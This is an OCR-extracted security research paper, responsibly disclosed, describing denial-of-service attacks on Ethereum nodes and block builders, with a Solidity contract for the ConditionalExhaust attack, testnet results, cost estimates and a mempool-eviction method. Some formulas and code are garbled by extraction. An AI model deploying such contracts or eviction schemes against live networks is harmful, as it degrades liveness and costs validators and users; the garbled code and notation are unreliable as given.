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Abstract

The expressiveness of Turing-complete blockchains implies
that verifying a transaction’s validity requires executing it on
the current blockchain state. Transaction fees are designed
to compensate actors for resources expended on transactions,
but can only be charged from transactions included in blocks.

In this work, we show that adversaries can craft malicious
transactions that decouple the work imposed on blockchain
actors from the compensation offered in return. We introduce
three attacks: (i) ConditionalExhaust, the first conditional re-
source exhaustion attack (REA) against blockchain actors. (ii)
MemPurge, an attack for evicting transactions from victims’
mempools. (iii) These attack are augmented by GhostTX,
the first attack on the reputation system used in Ethereum’s
proposer-builder separation (PBS) ecosystem.

We empirically evaluate the attacks on an Ethereum testnet.
The worst-case result we find is that by combining Condi-
tionalExhaust and MemPurge, an adversary can simultane-
ously burden victims’ computational resources and clog their
mempools, to the point where victims are unable to include
transactions in their blocks. Thus, victims create empty blocks,
thereby hurting the system’s liveness. The expected cost of a
one-shot combined attack is $376, but becomes much cheaper
if the adversary is a validator. For other attackers, costs de-
crease if censorship is prevalent in the network.

ConditionalExhaust and MemPurge are made possible by
inherent features of Turing-complete blockchains. Potential
mitigations may result in reducing a ledger’s scalability, an
undesirable outcome likely harming its competitiveness.

1 Introduction

Blockchains such as Ethereum rely on highly expressive smart
contract languages to enable the creation of a rich and diverse
decentralized finance (DeFi) ecosystem. The flexibility and
the open nature of these systems pose a risk: Some user may
deploy contracts that consume large amounts of computa-
tional resources, and may overwhelm all nodes that validate
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the blockchain with expensive computations. The answer
Ethereum’s designers have put forth is to run all computations
with a restricted budget of operations. Each computational
action costs a certain amount of “gas”, and a strict gas limit
is placed on all transactions. Furthermore, users are required
to pay fees per unit of gas that they consume, making it ex-
pensive for attackers to overload blockchain nodes.

In this work, we show that the gas mechanism is in itself
insufficient to protect nodes from denial-of-service (DoS)
attacks. We present several effective attacks against Go
Ethereum (geth)-based clients, the most prevalent Ethereum
software, circumventing Ethereum’s defenses and resulting in
severely degraded performance of victim nodes. These attacks
can be launched at a low cost, and can be crafted to affect
specific validators, or nodes with other roles in the system. We
evaluate our attacks on a local testnet and show that attackers
that create 140 transactions can prevent victim nodes from
mining any honest transaction.

Furthermore, our attacks effect the security of common
blockchain use-cases. In particular, they can be used as tools
to mount attacks against time-sensitive mechanisms, such
as on-chain voting protocols, payment channels that rely on
deadlines [63], and collateralized lending mechanisms with
utilization-based interest rates [76].

To construct our attacks, we leverage two key ideas: (i)
Ethereum’s partitioning of the block creation process to sev-
eral roles (searchers, builders, relays, and proposers) forces
some nodes to execute transactions heuristically or specula-
tively. (ii) The behavior of smart contract code can be made
highly dependent on context, i.e., on the state of other smart
contracts and accounts. This allows us to create transactions
that are resource intensive when nodes run them speculatively,
but are excluded from the blockchain. Furthermore, even if
these transactions are not executed, they occupy limited mem-
ory pool (mempool) space, which could be used for more
profitable transactions. Together, these two ideas cause nodes
to waste precious resources, at a minimal cost for attackers.

In addition to uncertainty about transaction execution con-
text, we also utilize the fact that some nodes selectively adopt
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Figure 1: ConditionalExhaust is a conditional REA, in which
an attacker creates transactions that invoke computationally
complex code if the current validator cannot include them in
a block, for example due to its censoring policy.
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Figure 2: The GhostTX attack exploits an inconsistency be-
tween builder and relayer censorship verification methods.

external censorship policies on transactions. We show that
such censorship makes these nodes vulnerable to DoS attacks.

Specifically, we show three main types of attacks: The
ConditionalExhaust attack, summarized in Fig. 1, entails cre-
ating transactions which execute computationally intensive
code conditional on the executing validator’s identity, thereby
making sure that these expensive computations are only per-
formed if the validator cannot include the transactions in a
block. This can happen if, for example, transactions culmi-
nate with an interaction with a sanctioned address, which
the validator censors to be compliant with the law [70]. The
MemPurge attack extends the implications of ConditionalEx-
haust to cases where transactions are not executed. In partic-
ular, nodes heuristically verify incoming transactions before
adding them to their mempools, without executing them. The
attack, depicted in Fig. 3, creates chains of transactions that
appear valid at first, but become invalid after executing the ini-
tial transaction of each chain. Thus, such chains can cheaply
evict honest transactions from victims’ mempools. Finally,
in the GhostTX attack, presented in Fig. 2, an attacker crafts
transactions that exploit inconsistencies in transaction valida-
tion between block builders and relayers, compelling builders
to include censored transactions in blocks, against their policy.

These attacks demonstrate that the sensitivity of transac-
tion validity to execution context exposes blockchain actors
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Figure 3: The MemPurge attack lowers the cost to evict trans-
actions from victims’ mempools.

to attacks. This is in spite of geth and the ecosystem at
large accumulating a layer of protections that were devel-
oped to curtail the high incidence of REA and DoS attacks in
Ethereum [8, 48,49, 60, 67]. In particular, our attack circum-
vents the following protective heuristics: (/) Transactions are
verified with stringent out-of-consensus heuristics to ensure
senders can cover all associated fees, even when account-
ing for previously received pending transactions by the same
senders. (2) The per-address number of transactions is lim-
ited. (3) A single transaction may be verified multiple times
by actors involved in each step of the block-creation process
(searchers, builders, relays and validators), and passed to the
next one only if valid. (4) Victims can broadcast transactions
to the network to ensure that an attack is not free.

Potential mitigations for our attacks may require limiting
blockchain scalability and its quality of service.

In summary, our contributions are:

¢ ConditionalExhaust. We introduce a novel REA vector,
which becomes more cost-effective when targeting victims
that actively engage in transaction censorship, such as block
builders and validators. By developing a best-effort tool to
craft resource-exhausting transactions, we demonstrate that
an attacker can prevent a victim from including transactions
in blocks by sending only 140 attack transactions which
exhaust the victim’s computational resources.

* MemPurge. We propose the MemPurge attack, which can
efficiently evict transactions from victims’ mempools. We
assess its performance and show it bypasses mitigations put
in place to prevent related previous attacks.

* GhostTX. This attack compels block builders to include
transactions that result in resource waste for actors and
reputational damage for searchers who supply builders with
tainted bundles. To the best of our knowledge, this is the
first attack targeting the PBS ecosystem.

Our work was responsibly disclosed to the Ethereum Foun-
dation (EF) and the Flashbots company, and received a bug
bounty from the Ethereum Foundation.
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Figure 4: Overview of the actors active in the PBS ecosystem.

2 Preliminaries

2.1 Background

Censorship. Cryptocurrency mixers allow users to obfus-
cate their tokens’ original ownership [33]. The potential use of
mixers for illicit purposes, such as money laundering, caught
the attention of law enforcement agencies. Notably, the United
States (US) Treasury Department’s Office of Foreign Assets
Control (OFAC) sanctioned Tornado Cash (TC), an Ethereum-
based mixer [61], on August 8th, *22 [58]. This action restricts
interaction with TC, and includes the addresses of TC’s con-
tracts on OFAC’s Specially Designated Nationals and Blocked
Persons (SDN) list. Consequently, actors looking to abide
by US law started censoring TC-related transactions within
blocks [70]. The consequences of OFAC’s sanctions have
rapidly emerged, with 53% of blocks since September ’22 be-
ing OFAC-compliant [45], impacting Ethereum’s ecosystem
and raising concerns within the community [39,43,69,75].

Proposer-builder separation (PBS). Besides validators,
other actors such as searchers, builders and relays engage
in censorship [39]. These actors, depicted in Fig. 4, work
together to extract profits known as miner-extractable value
(MEV) from arbitrage opportunities. MEV can arise from
natural price disparities between DeFi platforms [71]. Mali-
cious actors may also extract value by leveraging public and
private information for their benefit, e.g., by front running
transactions overheard on the peer to peer (p2p) layer [13].
In this landscape, searchers specialize in identifying MEV
opportunities and assembling transaction bundles exploiting
them. Bundles are sent to builders, who use them to con-
struct profitable blocks. Relays verify blocks and share the
most lucrative ones with the validator designated as the up-
coming block proposer using the MEV-Boost program [23].
Proposers may use blocks received from relays, or construct
blocks themselves by employing transactions from the p2p

layer or sent directly to them, that are stored in a data structure
called the mempool. The division of labor between builders
and proposers is also known as PBS.

PBS and Censorship. PBS has been proposed as a panacea
for the cryptocurrency’s censorship woes [18,22,23]. Yet, em-
pirical evidence shows that censorship is applied by builders
and relays involved in 53% of Ethereum blocks since the
cryptocurrency transitioned to a proof-of-stake (PoS) mecha-
nism [45]. In fact, Flashbots’ builder client facilitates compli-
ance with custom blacklists [26,27]. Until March °23, Flash-
bots’ “example” blacklist was based on OFAC’s SDN list [37].
This client is a fork of geth, the most popular Ethereum execu-
tion client [20]. The two are almost identical, but the former
includes functionality pertaining to PBS, and the aforemen-
tioned censorship capabilities. This censorship verification
logic is also exposed as an API for their relay client [26].
Although these clients can be used by anyone, we note that
Flashbots’ own in-house operation relays the majority of PoS
Ethereum blocks, and built 25% of them [46].

Briefly, Flashbots’ builder client’s censorship functionality
works as follows: given an input block, the program first
checks hard-coded fields to be free from sanctioned entities
(e.g., the fo addresses of contained transactions); if all are
valid, the block is executed on the latest state, and its execution
is verified to be free from forbidden interactions.

2.2 Cryptocurrency Model

Our model closely resembles Ethereum [74]. We emphasize
that this model is general and captures most popular cryp-
tocurrencies that support Turing-complete [2] smart contracts.
All notations introduced here are summarized in Appendix F.

Blockchain. In our cryptocurrency, user transactions are
processed in batches called blocks. The underlying consensus
mechanism elects a leader for each block in an i.i.d. man-
ner, who then chooses the transactions to include in its block.
Leaders are assumed to select transactions greedily, by their
fees [31]. In proof-of-work (PoW) mechanisms such as Bit-
coin’s, leaders are elected among so-called miners. Under
PoS mechanisms like Ethereum’s, validators are chosen with
a probability equal to their share of stake in the system [5].
For conciseness, we use the term validator for both.

Smart contracts. Smart contracts are programs that run
in a distributed manner on the blockchain. Our blockchain
executes smart contracts using a Turing-complete virtual ma-
chine (VM) environment. Each basic VM instruction is called
an opcode. The complexity of each opcode is fixed and mea-
sured by a numerical score called gas. Furthermore, there is
an upper gas limit on the amount of gas allowed per block.



Transactions. Users can interact with the cryptocurrency by
creating transactions that specify, in code, actions they wish to
execute, primarily: (/) Transfer funds between two addresses.
(2) Create (e.g., deploy) a smart contract. (3) Invoke a function
of a deployed contract. A transaction 7 is identified by its
nonce, fee, and the value it transfers. The nonce, denoted by
T,., 1s a serial number that determines the inclusion order of
all transactions sent by the same user. The value is transferred
to some address, and is denoted by T,. The fee, denoted by Ty,
can be collected by the first validator to include a transaction
in a block. A transaction’s fee per unit of gas is also called its
gas price. A transaction is executed opcode by opcode, until
either there are no opcodes left, or its fees cannot cover the
gas required to continue its execution.

Pending and future transactions. A transaction T by user
u is considered pending for inclusion in the next block if its
nonce is larger by 1 than the nonce of u’s last accepted trans-
action T/, whether 7’ is included in the same block as T, or
in a previous block [19,74]. Transactions that are valid but
are neither pending nor accepted are called future transac-
tions. Pending and future transactions are stored by nodes in
a data-structure called a mempool, or txpool in Ethereum’s
nomenclature. For generality, we use the former. If a transac-
tion was added to a node’s mempool but not yet included in
a block, it can be replaced by sending a transaction with an
equivalent nonce and a fee which is higher by at least some
minimal node-determined amount, an act called fee bumping.

Transaction gossip protocol. The blockchain’s p2p pro-
tocol has a message which allows users to request a list of
transactions, identified by their hashes, from a peer. Further-
more, the protocol specifies another message used for propa-
gating newly heard-of transactions to peers. We remark that
the equivalent Ethereum messages are GetPooledTransactions
and NewPooledTransactionHashes, correspondingly [17,44].

2.3 Actor Model

Blockchain users. Users can create and use multiple ad-
dresses. Users can sign and issue transactions from their ad-
dresses by broadcasting them to nodes participating in the
network over the p2p layer. Given some address u, we denote
its balance according to the latest blockchain state by u,.

Sanctioned entity. There is at least one sanctioned entity
active on the system, meaning that some of the cryptocur-
rency’s validators actively censor the entity and abstain from
including transactions that interact with it in their blocks. Let
o be the sanctioned entity’s address, S be the set of validators
censoring G, and o € [0, 1] be the set’s total fraction of stake.
Both S and o are assumed to be estimated by an attacker using
public blockchain data. In Ethereum, each validator’s stake is

public knowledge and fixed for a certain period of time, thus
the set of censoring validators can be accurately estimated,
provided validators do not alter their censoring policies.

Censoring method. The compliance of a transaction with
anode’s censoring policy is verified by executing the transac-
tion on the latest blockchain state, and inspecting its execution
trace to ensure no sanctioned interaction was performed. Fur-
thermore, all nodes broadcast incoming valid transactions to
their peers, whether they are compliant or not.

Remark 1. As even censoring nodes broadcast non-
compliant transactions, would-be attackers are weakened:
their transactions will reach non-censoring nodes, and there-
fore may potentially enter the blockchain and incur fees.

Adversary. To exhibit the strength of our attacks, we con-
sider a weak adversary A4 that interacts with the system by
creating and sending transactions and who does not partake
in the underlying consensus. Moreover, the adversary derives
its strategies by relying on its partial view of the Ethereum
network, considering only its single node to estimate network
properties, such as the fees paid by accepted transactions. In
terms of processing capabilities, we assume the attacker can
send transactions at a similar rate as an average validator. The
attacker cannot interfere with its victims’ network communi-
cations. When executing the MemPurge attack, the adversary
can maintain a p2p connection with victims, limited to the
gossip messages of Section 2.2.

We note that we do briefly outline for each attack how an
adversary who is also a block proposer can effectively execute
attacks at nearly no cost, although it is outside our model.

3 The ConditionalExhaust Attack

We now present a REA we call ConditionalExhaust. The
attack relies on speculative execution of transactions on be-
half of blockchain actors to cause them to execute resource-
consuming code, while reducing associated transaction costs.

Intuitively, blockchain actors besides the upcoming block
proposer cannot know for certain which transactions will be
included in the block, and in what order. Furthermore, given
some general transaction, actors cannot foresee the result of its
execution without running it themselves. These two insights
lead us to the ConditionalExhaust attack.

ConditionalExhaust for adversarial proposers. If our ad-
versary A is a block proposer, then it can attack actors such
as searchers, builders, and relays, who execute transactions as
part of the block building process. As this is outside our model,
we quickly describe the attack, and then move forward to a
more interesting variant. If the adversary is scheduled to pro-
pose the upcoming block, it can spam the network with valid



computationally intensive transactions which are generated
from some pre-funded address. We note that in Ethereum’s
current mechanism, the schedule of block proposers is pub-
licly known in advance. To prevent attack transactions from
incurring high fees, the adversary should set the first trans-
action of its block to transfer all funds from the pre-funded
address, to another address in its possession. Thus, while vic-
tims may execute the adversary’s spam transactions, all are
invalidated by the upcoming block.

Variant for non-proposer attackers. Sanctions compli-
ant builders and validators cannot create blocks that include
transactions which interact with sanctioned entities, and thus
cannot collect fees from such transactions. If some of the
network’s validators are censoring an entity, an attacker can
flood the network with transactions that interact with that
entity. These transactions can be crafted to both:

(i) Preclude trivially verifying whether they should be cen-
sored, thereby wasting the victims’ resources.

(ii) Ensure that even if they are included in a block, the cost
for the attacker will be minimal.

We proceed by describing the attack, followed by an evalua-
tion of the attack’s cost, as dependent on network parameters.

3.1 ConditionalExhaust Attack Description

We now describe the attack, with a graphical depiction given
in Fig. 1. The attack advances in two phases.

Deployment phase. First, 4 deploys a smart contract with
a single function that has two different control flows (see List-
ing 1), incurring deployment costs of ¢ fees. When the func-
tion is invoked by a transaction, the flow is chosen according
to the identity of the validator executing the transaction:

(i) If the validator belongs to the set of censoring valida-
tors S, a conditional statement will trigger the execution of a
computationally intensive branch of code which results in an
interaction with the censored entity G.

(ii) Otherwise, a computationally simple branch will be
executed, incurring fees equal to ¢.

Execution phase. After deployment, the attack proceeds to
the second phase. In it, the attacker creates multiple transac-
tions that trigger the contract’s single function.

We note that if censoring actors discard non-compliant
transactions from their mempools, an attack becomes substan-
tially cheaper as an attacker can re-send the same transaction
again and again. If this transaction finds its way to a non-
compliant party, it may be included in a block and cost the
attacker the fees which are associated with the computation-
ally simple branch. Due to nonce considerations, only one
such transaction can be included in each block.

If an attacker wishes to target actors who do not discard
such transactions, the nonce of each consecutive attack trans-
action should be increased by 1.

Correctness. Any actor in S that receives one of 4’s trans-
actions will execute the intensive branch of the contract. Only
when reaching the end of the code, the actor can observe that
the transaction interacts with ¢, and thus should be censored.

3.2 Implementing ConditionalExhaust

A best-effort construction of an Ethereum contract that exe-
cutes the ConditionalExhaust attack is provided in Listing 1.

Computationally complex transactions. The novelty of
the attack lies in carefully designing transactions that have
two flows, one intensive and the other not, where at the worst
case only the fees for the simple flow are paid. Instead of
minimizing the cost of the intensive flow, we only wish to
maximize its resource consumption. To do so, we rely on
inefficient constructs used in Ethereum.

The recommended implementation guidelines for
Ethereum clients propose saving parts of the blockchain’s
state in a data structure called a Merkle-Patricia trie [40, 74].
Although the exact details are out of the scope of this work,
this structure is considered inefficient by some due to the
amount of storage access operations required for simple oper-
ations, such as reading an address’ balance [62,67]. Therefore,
it is not surprising that DoS attacks relying on storage-heavy
transactions have plagued Ethereum [8,11,67,72,79].

Inefficient opcodes. To devote most of the code’s com-
plexity to inefficient opcodes, we wrote most logic in Yul,
a commonly used in-line assembly language [10, 50]. The
contract’s complexity is obtained by accessing random loca-
tions in Ethereum’s state using inefficient storage operations.
Specifically, we use the EXTCODEHASH opcode [41], which
reads the code of a deployed contract and returns its hash.

Deriving randomness. Deriving a “good” source of ran-
domness in a blockchain setting is challenging [6], and out
of the scope of this work. For our purposes, a good approxi-
mation can be achieved by performing an exclusive or (XOR)
operation between the current block’s hash and the amount of
gas remaining for the execution of the transaction [42]. The
former provides some basic pseudo-randomness that varies
across blocks, while the latter modifies this randomness over
the course of a single transaction’s execution.

Blockheight variant. ConditionalExhaust, as described, re-
lies on adversaries having prior knowledge of the addresses
of censoring validators at the beginning of the attack. We call
this variant of the attack the coinbase ConditionalExhaust



1 pragma solidity >=0.7.0 <0.9.0;
2 contract ConditionalExhaustCoinbaseVariant ({
3 mapping (address => bool) private _shouldDoS;
4 @notice Creates et of the validators to ¢
5 constructor() {

6 _shouldDoS[AddressToDoS1l] = true;

7 _shouldDoS [AddressToDoS2] = t

8

9 }

0 function DoS(uint32 i) external payable {
11 bool shouldDoS = _shouldDoS[block.coinbase];
12 assembly {

13 if shouldDoS {

14 The computationally mplex rt
15 for { } gt(i, 0) { i := sub(i, 1) }

{
16 pop (extcodehash (xor (blockhash (number()), gas())))
17 }
18 Replace "CensoredAddress" th you avorite
19 nctioned address!
20 pop(call(gas(), CensoredAddress, 1, 0, 0, 0, 0))
21 }
22 stop ()

Listing 1: An implementation of an Ethereum smart contract
that facilitates the ConditionalExhaust attack, for an adversary
who knows the addresses of censoring validators.

attack. One can create an equivalent attack that executes the
complex branch based on the current block’s height, if it is
equal to an attacker-specified parameter. This variant of the
attack is called the blockheight ConditionalExhaust attack. It
is implemented as a Solidity smart contract in Appendix B.1.

When executing the blockheight variant, an attacker should
specify block numbers which have a high probability of be-
ing created by censoring nodes. In Ethereum, there are ser-
vices that allow querying the schedule of upcoming validators,
such as Flashbots’ relay application programming interface
(API) [29], which has an endpoint that returns a list of valida-
tor addresses for the current and upcoming epochs. Given that
in Ethereum, validator addresses are fixed for long periods
of time, and that the identity of censoring validators and the
addresses which they censor are known [37,45], both variants
are functionally equivalent.

3.3 Evaluation

To empirically evaluate ConditionalExhaust, we develop a
testing suite that measures the computational effort required
to execute the attack, and its impact on victims.

Testing suite. To construct our suite, we modified Flash-
bots’ builder client [25], which ensures that blocks created by
builders, and relayed by relays do not interact with blacklisted
entities. This program is, in turn, a fork of geth, Ethereum’s
most popular execution client. Empirical data shows that
Flashbots’ relay is responsible for relaying the majority of
Ethereum blocks in the PBS era [54].

Our modifications of Flashbots’ program allows us to cre-
ate a random blockchain state with a pre-determined number
of transactions, organized in a user-chosen topology. Using
this state, we measure the time needed to verify a given trans-
action in isolation. For our benchmarks, we create a basic
state consisting of a single block with a single transaction.
The more complex the state, the longer the time to execute a
transaction that invokes the attack contract. Thus, this mini-
mal state serves to provide a lower bound on the impact of
the attack. On top of this base state, we deploy a “computa-
tionally complex” attack contract as given in Listing 1, after
compiling it with version 0.8.18 of the solc Solidity compiler,
using the —-optimize-runs=1 flag, which aims to reduce
the size of the resulting code, and thus deployment costs.

To measure the impact that ConditionalExhaust may have
on operational networks, we extend our testing suite to auto-
matically set up a local testnet comprising of a node, users,
and an adversary who attacks the node. Various parameters
pertaining to the network can be controlled, such as the rate
at which users transmit transactions, and the block time.

Testbed. Our benchmarks runs on a machine that exceeds
Flashbots’ official requirements [24]. These currently ask for
a computer running golang1.19 and either 64-bit Linux, Mac
OS X 10.14, or Windows 10, equipped with a 4 core CPU
operating at 2.8GHz, 16GB of RAM, and an SSD with at
least 2TB of free space. Our test-bed uses Ubuntu 20.04.2
LTS, an AMD Ryzen Threadripper 3990X CPU with 64 cores
operating at 2.9GHz, 256GB of RAM, and NVMe SSDs.

3.3.1 Results

Gas consumption. A transaction deploying the attack con-
tract consumes 120,750 gas units, when using the more com-
plex contract given in Listing 1. If a censoring validator ex-
ecutes an attack transaction, a code path which consumes a
block’s entire gas quota is executed, currently equal to 3 - 107
units of gas. When non-censoring validators execute an attack
transaction, 23,628 gas units are consumed, only 12.5% more
than the 21,000 units consumed by the most gas-efficient
Ethereum transaction. We note that the larger the number of
validators that should be attacked, more gas is required to
deploy the contract given in Listing 1. For example, if six
validators are targeted instead of just one, 257,761 units are
needed. On the other hand, the gas required for executing the
simple code branch remains unchanged.

In contrast, the contract for the blockheight-based variant of
the attack, given in Appendix B.1, is shorter and does not rely
on hard-coded victim addresses. Thus, deploying it has a fixed
gas consumption, equal to 97,885 units of gas. Furthermore,
as the contract does not accept the number of iterations as an
argument, the gas consumption is also lower for a transaction
that is included in a block that is later than the one specified
in the transaction’s parameters, equaling 21,429 gas units.



Censorship verification time and transaction creation time.
Given an initial state, we created 10,000 different attack trans-
actions. On average, a transaction was created and signed in
5.5-107> seconds. Verifying an attack transaction required an
average time of 0.1 +0.011 seconds when performed by the
censoring validation software. In comparison, simple value
transfers are validated in 0.001 seconds, on average.

To conclude, transaction verification is 1972 x more time
consuming than transaction creation. This means that an at-
tacker can keep up with a single victim even if the latter is in
possession of hardware that is 1972 times more performant
than that of the former. As the same transactions can be sent
to the entire network, this logic holds no matter how many
high-performance victims are targeted.

Attacking a testnet. In Ethereum, a block is created every
12 seconds, meaning that 120 ConditionalExhaust transac-
tions can be verified, on average, between blocks. Evaluating
the attack on a testnet affirms that an attacker sending 140
transactions can exhaust a victim’s resources to the point that
it is unable to verify even a single honest transaction in time
for including it in the next block. Even when letting the victim
create 100 consecutive blocks, a one-shot attack consisting
of 140 transactions suffices to maintain this effect throughout
the simulated period.

Effect of hardware. We note the inherent relationship be-
tween the victim’s hardware and the number of transactions
required to achieve the same effect. In particular, attacking a
node using Intel i7-11370 with 4 cores, 8 threads, and 64GB
RAM, an attack consisting of 80 transactions completely in-
hibits honest transaction inclusion in blocks, when allowing
geth to use 8 threads for the block creation process. We note
that our considerably stronger testbed was allowed to use 128
threads for the same task, a factor of 16 x more, while the
amount of transactions required for an attack of the same
magnitude was larger by a factor of 1.75x.

3.3.2 Economic Evaluation

Worst-case cost of a single transaction. To translate the
aforementioned gas values to an actual cost, we first go over
relevant blockchain data. Between November *22 and May
’23, the ETH-to-USD exchange rate peaked at $2120, and the
average gas price paid by transactions in the 90th percentile
(e.g., the upper 10% of transactions, with regard to gas price)
did not exceed 106 - 10~° ETH per unit of gas. We use the
previous values to compute worst-case costs: deploying the
attack contract given in Listing 1 costs $27.13, and a single
computationally complex transaction invoking that contract
costs $5.3 if it is included in a block.

Expected worst-case cost of a long-term attack. We now
analyze the worst-cost of an attack spanning B consecutive

blocks, and which should generate a computational load of p
ConditionalExhaust transactions per block.

Claim 1. Let @ and ¢ be the respective costs of deploying
an attack contract and executing a single attack transaction,
respectively. The worst-case cost of a Conditional Exhaust
attack spanning P blocks and generating a load of p transac-

tions per block is: ® = ¢+ (opB (1 — ).

Proof. Recall that per the model given in Section 2, the cre-
ator of each block is picked in an independent and identi-
cally distributed (i.i.d.) manner, according to the distribu-
tion of stake among validators. We denote by X; the random
variable indicating whether a validator v ¢ S mined the i-th
block. Thus, using the notation introduced earlier in Section 3:
Viel,....p:PX;=1)=1—q.

In Section 3.1, we denoted the cost of deploying the attack
contract by @, and the cost of a single attack transaction being
accepted by ¢. As the analysis is a worst-case one, using a
high ¢ which is constant throughout the attack provides an
upper bound for the cost of the ConditionalExhaust attack.

Denote the total expected cost of the attack by ®. Given our
goal of generating a computational load of p ConditionalEx-
haust transactions per block, at most p transactions can be
accepted per block. We assume the worst-case: if a single
attack transaction is accepted to a block, then all other at-
tack transactions are accepted, too. If at some given block the
transactions are not accepted due to censoring, then they are
carried on to the next one. At worst, the attacker can re-send
the same exact transactions, meaning that it can avoid creating
new transactions with consecutive nonces, thereby lowering
the cost of an attack. Thus, the expected cost of an attack is:

def

D= Q-+ [0pX) + -+ 0pXp] = @+ (0pB (1 — )

O

Given Claim 1, one can empirically evaluate @, ¢ and «,
and estimate the expected cost of an attack.

Example 1. We previously established ¢ = $27.13 and
O = $5.3 as the expected worst-case costs for a one-shot at-
tack. Additionally, empirical data indicates that over 53% of
blocks created since Ethereum’s transition to PoS are OFAC-
compliant [45], so we set: o = 0.53. Given these param-
eters, the expected worst-case cost for an attack lasting B
blocks and generating a load of p transactions per block is:
27.1342.491pP. For example, the expected worst-case cost
of mounting an attack that generates a load of p = 140 Condi-
tionalExhaust transactions per block over B = 1 block is $376.
In a best-case scenario where all validators are censoring
(that is, o = 1), then the attack’s cost for any attack length
boils down to the one-time cost of deploying the attack’s
contract. If no actor is censoring, the attack costs $770.



4 The MemPurge Attack

The MemPurge attack extends the implications of Condi-
tionalExhaust and shows that even when victims do not ex-
ecute transactions, speculative treatment of transactions in-
creases victims’ attack surface. In particular, under certain
conditions, MemPurge can evict transactions from victims’
mempools and subsequently replace them with transactions
that pay lower fees, thus diminishing victims’ profits.

MemPurge for proposers. We note that the proposer vari-
ant of ConditionalExhaust works for MemPurge as well. In
this case, the attack does not require transactions to be com-
putationally intensive, but rather just to be sent from some
dummy account and have consecutive nonces, which are sent
in order. If victims’ mempools are full and the fees offered
by the attack transactions are high, victims will be compelled
to discard existing transactions to make room for the suppos-
edly profitable attack transactions. These transactions will be
invalidated if the attacker is the proposer for the upcoming
block, and if the block’s first transaction transfers all of the
dummy account’s funds to a different address. Now, we direct
our efforts towards a more interesting variant.

MemPurge for non-proposers. This variant also requires
an attacker to create “chains” of transactions equipped with
consecutive nonces, but does so in a manner which limits the
number of transactions that can be incorporated into a given
block, thereby reducing the cost of the attack. This feat ne-
cessitates circumventing protective heuristics commonly em-
ployed by cryptocurrency clients to thwart mempool attacks.
In particular, Ethereum recently experienced similar attacks,
and mitigated the vulnerabilities that enabled them [48]. The
attack proceeds by creating a chain of transactions, where the
first one transfers all of the attacker’s funds to some other
account, and the rest each transfers O funds. These are then
broadcast in the “wrong” order: the 0 value transactions are
sent first, with the single remaining transaction sent only af-
terwards, thereby evading the protections used by geth. A
graphical summary of the attack is given in Fig. 3.

Before analyzing the attack, we first go over the difficulty
inherent in ensuring the validity of mempool transactions, and
describe heuristics used by both geth and Flashbots’ builder
client. Other cryptocurrencies base their clients on geth and
thus feature similar designs, most prominently Ethereum Clas-
sic [15], and BNB Smart Chain (BSC) [4], the fourth cryp-
tocurrency by market cap at the time of writing [12].

4.1 Mempool Validation

The mempool of a blockchain node is a transient database
used to store candidate transactions that can be included in
upcoming blocks. Due to its limited capacity and the potential
impact of its contents on profits, nodes typically employ a

mempool policy that attempts to choose transactions that
increase revenue, while avoiding invalid ones.

The difficulty of ensuring transaction validity. The valid-
ity of a transaction may depend on the blockchain’s state, and
thus also on the transactions preceding it. E.g., a transaction
transferring a positive value by user # who has 0 funds is
invalid, as the user’s balance cannot cover the transfer amount.
But, the transaction will be rendered valid if some preceding
transaction transfers enough money to u. Thus, a single trans-
action may require multiple validations, for example, if the
creator of the next block attempts to rearrange the block’s con-
tents to potentially capture MEV [81]. To limit the potential
for DoS attacks, mempool policies, such as the one we soon
describe, may use heuristics to ensure admitted transactions
remain valid even when the state is slightly perturbed.

Mempool policy. Our policy closely follows the one used
by geth and Flashbots’ builder client, but is slightly stricter
as to simplify the mempool’s mechanics while remaining ap-
plicable to geth’s design. Precisely, given a mempool M, let
|M | be the number of transactions in M, M" be all trans-
actions by user u in M, and M ,, M ¢ be all pending and
future transactions in M, respectively. Let the global limit on
pending and future transactions be w,,u, € N, respectively,
and the per-user future transaction limit be u € N. The deci-
sion to accept a new transaction T by some user u into M is
summarized in Fig. 5, and proceeds as follows:

1. Reject 7 if its nonce is invalid, meaning if T, is not larger
by 1 than the nonce of u’s last blockchain transaction.

2. Otherwise, reject © if Ecags ey (¥ +) > u. This
“worst-case” validation is a heuristic protection measure,
rather than part of the consensus. It assumes each trans-
action always transfers its entire value, does not result
in the user receiving funds from some other source (e.g.,
arbitrage), and consumes the gas limit in its entirety.

3. Otherwise, let x > 1 be a node-defined value. If there is a
transaction T € M" such that T, = T, and T5 > x- r}, then
Tis accepted and T’ is evicted. Simply put, this rule means
that T has the same nonce as an existing transaction T’ by
the same user in the mempool, and that T will replace 7’
only if the former bumps the fee by at least a factor of x.

4. Otherwise, if V' € M" : 7/, +1 < 1,,, then jump to step 9.
Conceptually, there is a “nonce gap” between T and all
other transactions by u, so it is wasteful to accept T into
the mempool’s pending queue before the gap is filled.

5. Otherwise, if | M ,| < M, then T is accepted to M.

/! *
6. Otherwise, if Ju’ : | M, | = max, | M, | > |M )|+ 1, then
the highest-nonce transaction of #’ is evicted from the
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Figure 5: An overview of the mempool policy described in Section 4.1.

pending mempool (and potentially inserted to the future
one using rule 9), while 1 takes its place. This rule priori-
tizes users with less transactions in M ,.

7. Otherwise, if Ju’ : \M;/| = [M)|+1 and IV € MZ, :
Ty < Ty, then the lowest-fee 7' that answers this criteria is
evicted from the pending mempool (and again inserted to
the future section with rule 9), while T enters instead.

8. Otherwise, if |.‘M;*| =|Mp|+1and 37 € MZ* such that
Tr > ’E}, then 7’ is evicted, in favor of T. As before, T’ is
potentially added to the future queue, using rule 9.

9. Otherwise, if M ¢| <y and | M| < 4, accept Tto M s
Otherwise, reject T.

Remark 2. Nodes can change the policy to their liking. For
example, some may disable rules 2, 6 and 7, as they can evict
transactions in a manner which does not maximize profits. We
use these rules as-is, because they weaken adversaries. Fur-
thermore, nodes may define a policy that tries to guarantee
some minimal amount of space per address, or that requires
some local “threshold” fee, with transactions paying less be-
ing rejected outright. Such considerations do not qualitatively
change our results, rather only potentially quantitatively (e.g.,
shifting attack costs by the threshold amount).

4.2 A Naive Mempool “Attack”

Prior to introducing MemPurge, we discuss a naive approach.

Attack description. A strategic attacker possessing sub-
stantial funds can cause victims to discard honest transactions
from their mempools. Let the victim’s mempool be M, and
denote the highest-fee transaction in M, by t*. If the attacker
has at least u,, addresses each containing a minimum of ‘c}}
in funds and none of which have pre-existing transactions in
M p,, the attacker can exploit the aforementioned mempool
policy. By dispatching one transaction from each of the u,, ad-
dresses, with every transaction paying a fee exceeding r}, the
attacker can effectively evict all other transactions from the
victim’s mempool. An attacker wishing to evict some specific

number of transactions x (not necessarily the entire mempool)
can perform a similar attack using x addresses, again sending
